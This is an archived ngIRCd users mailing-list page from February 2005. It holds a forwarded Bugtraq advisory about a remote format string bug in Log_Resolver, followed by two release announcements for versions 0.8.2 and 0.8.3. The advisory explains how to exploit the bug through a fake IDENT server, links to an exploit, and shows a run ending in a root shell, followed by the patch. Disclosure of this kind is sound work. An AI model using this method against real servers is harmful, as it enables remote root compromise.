ngIRCd Users February 2005

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Fwd: ngIRCd <= v0.8.2 Format String Vulnerability
by Alexander Barton 04 Feb '05

04 Feb '05

For your information. Regards Alex > Von: CoKi <coki(a)nosystem.com.ar> > Datum: 3. Februar 2005 3:09:09 Uhr MEZ > An: bugtraq(a)securityfocus.com > Betreff: ngIRCd <= v0.8.2 Format String Vulnerability > X-Mailer: MIME-tools 5.411 (Entity 5.404) > > > > ------------------------------------------------- > No System Group - Advisory #11 - 03/02/05 > ------------------------------------------------- > Program: ngIRCd > Homepage: http://arthur.ath.cx/~alex/ngircd/ > Operating System: Linux and Unix-Compatible > Vulnerable Versions: ngIRCd v0.8.2 and prior > Risk: High > Impact: Remote Format String Vulnerability > ------------------------------------------------- > > > - DESCRIPTION > ------------------------------------------------- > ngIRCd is a portable IRC daemon written from scratch. > It is easy to configure, supports server links (even > with original ircds) and runs on hosts with changing > IP addresses (such as dial-in networks). Currently > supported platforms are AIX, A/UX, Darwin/Mac OS X, > FreeBSD, HP-UX, IRIX, Linux, NetBSD, SunOS/Solaris, > and Windows with Cygwin. > > More informations at: http://arthur.ath.cx/~alex/ngircd/ > > > - DETAILS > ------------------------------------------------- > Exist a format string bug in the Log_Resolver() function > of log.c when parses erroneous arguments to the syslog() > function. This may give a remote shell with privileges of > ngIRCd, it's 'root' by default. > > ----------- log.c ------------ > 261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap ); > 262: va_end( ap ); > 263: > 264: /* Output */ > 265: if( NGIRCd_NoDaemon ) > 266: { > 267: /* Output to console */ > 268: fprintf( stdout, "[%d:%d] %s\n", (INT)getpid( ), > Level, msg ); > 269: fflush( stdout ); > 270: } > 271: #ifdef SYSLOG > 272: else syslog( Level, msg ); > 273: #endif > ----------- log.c ------------ > > Here we can look that exist a format string vulnerability > in 272 line of log.c > > > - EXPLOIT > ------------------------------------------------- > To obtain a successful exploitation, we need that > ngIRCd has been compiled with IDENT, logging to > SYSLOG and DEBUG enabled. > > We now will look a part of the code of resolve.c: > > ----------- resolve.c ------------ > 96: /* For sub-process */ > 97: pid = fork( ); > 98: if( pid > 0 ) > 99: { > 100: /* Main process */ > 101: Log( LOG_DEBUG, "Resolver for %s created (PID > %d).", inet_ntoa( Addr->sin_addr ), pid ); > 102: FD_SET( s->pipe[0], &Resolver_FDs ); > 103: if( s->pipe[0] > Conn_MaxFD ) Conn_MaxFD = > s->pipe[0]; > 104: s->pid = pid; > 105: s->stage = 0; > 106: s->bufpos = 0; > 107: return s; > 108: } > > [...] > > 230: #ifdef IDENTAUTH > 231: /* Do "IDENT" (aka "AUTH") lookup and write result to > parent */ > 232: Log_Resolver( LOG_DEBUG, "Doing IDENT lookup on socket %d > ...", Sock ); > 233: res = ident_id( Sock, 10 ); > 234: Log_Resolver( LOG_DEBUG, "Ok, IDENT lookup on socket %d > done: \"%s\"", Sock, res ? res : "" ); > 235: > 236: /* Write IDENT result into pipe to parent */ > 237: len = strlen( res ? res : "" ); > 238: if( res != NULL ) res[len] = '\n'; > 239: len++; > 240: if( (size_t)write( w_fd, res ? res : "\n", len ) != > (size_t)len ) > 241: { > 242: Log_Resolver( LOG_CRIT, "Resolver: Can't write to > parent (IDENT): %s!", strerror( errno )); > 243: close( w_fd ); > 244: } > 245: free( res ); > 246: #endif > ----------- resolve.c ------------ > > At 97 lines of resolve.c we can see that is > created a new process with fork() function, > this will allow us to obtain the exact address > of RET of automatic way without ircd dies. > We can see too that this process do IDENT lookup > when a host is connected to the ircd daemon, > and using the vulnerable function for logging > with syslog at 242 lines of this code. > > I have written a code exploit that use this > method for obtain a root shell in the target. > > http://www.nosystem.com.ar/exploits/ngircd_fsexp.c > > root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000 > > ngIRCd <= 0.8.2 remote format string exploit > by CoKi <coki(a)nosystem.com.ar> > > [*] host : victim > [*] system : Slackware Linux 10.0 > [*] ircd version : ngircd-0.8.2.tar.gz > [*] syslog GOT address : 0x08068094 > [*] verifying host : 10.0.0.2 > > [*] trying RET address : 0x0806d710 (offset 10000) > [*] building evil buffer : done! > [*] running fake ident server : 0.0.0.0:113 > > [*] connecting to ircd... : 10.0.0.2:6667 connected > [*] waiting for answer... : 10.0.0.1:43260 connected > [*] sending evil ident... : done! > [*] checking for shell... : done! > > [!] you have a shell :) > > Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown > unknown GNU/Linux > uid=0(root) gid=0(root) > groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flop > py) > > > - SOLUTIONS > ------------------------------------------------- > The patch is included here: > > --- src/ngircd/log.c 2004-06-26 06:06:27.000000000 -0300 > +++ src/ngircd/log.c.patch 2005-02-02 12:53:33.000000000 -0300 > @@ -269,7 +269,7 @@ > fflush( stdout ); > } > #ifdef SYSLOG > - else syslog( Level, msg ); > + else syslog( Level, "%s", msg ); > #endif > } /* Log_Resolver */ > > > - REFERENCES > ------------------------------------------------- > http://www.nosystem.com.ar/advisories/advisory-11.txt > > > - CREDITS > ------------------------------------------------- > Discovered by CoKi <coki(a)nosystem.com.ar> > > No System Group - http://www.nosystem.com.ar -- Alexander Barton, Freiburg, Germany http://www.barton.de/, alex(a)barton.de

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ngIRCd 0.8.2
by Alexander Barton 03 Feb '05

03 Feb '05

Hi All! ngIRCd 0.8.2, the "hey there are contributors" release has just hit the ground :-) Many thanks go to Florian Westphal for his work! Everybody running an older version of ngIRCd should upgrade to this version because some remotely exploitable security related bugs (that could cause the daemon to crash) have been fixed! Note: if you are using the CVS HEAD branch then you should run an CVS update and use the current code base. Changes since version 0.8.1 are: - Added doc/SSL.txt to distribution. - Fixed a buffer overflow that could cause the daemon to crash. Bug found by Florian Westphal, <westphal(a)foo.fh-furtwangen.de>. - Fixed a possible buffer underrun when reading the MOTD file. Thanks to Florian Westphal, <westphal(a)foo.fh-furtwangen.de>. - Fixed detection of IRC lines which are too long to send. Detected by Florian Westphal, <westphal(a)foo.fh-furtwangen.de>. - Fixed return values of our own implementation of strlcpy(). The code has been taken from rsync and they fixed it, but we didn't until today :-/ It has only been used when the system didn't implement strlcpy by itself, not on "modern" systems. Florian Westphal, <westphal(a)foo.fh-furtwangen.de>. You can download ngIRCd 0.8.2 (~271 KB) from: - <http://download.berlios.de/ngircd/ngircd-0.8.2.tar.gz> - <ftp://ftp.berlios.de/pub/ngircd/ngircd-0.8.2.tar.gz> - <ftp://Arthur.Ath.CX/pub/Users/alex/ngircd/ngircd-0.8.2.tar.gz> And the patch from 0.8.1 to 0.8.2 (~3 KB) as well as GnuPG signatures can be found here: - <ftp://ftp.berlios.de/pub/ngircd/> - <ftp://Arthur.Ath.CX/pub/Users/alex/ngircd/> This release has been tagged as "rel-0-8-2" in the CVS. Regards Alex -- Alexander Barton, Freiburg, Germany http://www.barton.de/, alex(a)barton.de

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ngIRCd 0.8.3
by Alexander Barton 03 Feb '05

03 Feb '05

Hi All! An other exploitable bug in ngIRCd has been found, so here is jet an other update: ngIRCd 0.8.3 has been released! The bug is only exploitable when the daemon is compiled to do IDENT lookups, which is not the default configuration. If you don't use IDENT lookups with your ngIRCd, you are safe. All other should update as soon as possible as this bugs allows remote attackers to execute arbitrary code with the priviledges of the ngIRCd. The only change since version 0.8.2 is: - Fixed a bug that could case a root exploit when the daemon is compiled to do IDENT lookups and is logging to syslog. Bug discovered by CoKi, <coki(a)nosystem.com.ar>, thanks a lot! (http://www.nosystem.com.ar/advisories/advisory-11.txt) You can download ngIRCd 0.8.3 (~271 KB) from: - <ftp://ftp.berlios.de/pub/ngircd/ngircd-0.8.3.tar.gz> - <ftp://Arthur.Ath.CX/pub/Users/alex/ngircd/ngircd-0.8.3.tar.gz> - <http://download.berlios.de/ngircd/ngircd-0.8.3.tar.gz> [soon ...] And the patch from 0.8.2 to 0.8.3 (~3 KB) as well as GnuPG signatures can be found here: - <ftp://ftp.berlios.de/pub/ngircd/> - <ftp://Arthur.Ath.CX/pub/Users/alex/ngircd/> This release has been tagged as "rel-0-8-3" in the CVS. Regards Alex -- Alexander Barton, Freiburg, Germany alex(a)barton.de, http://www.barton.de/

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ngIRCd Users February 2005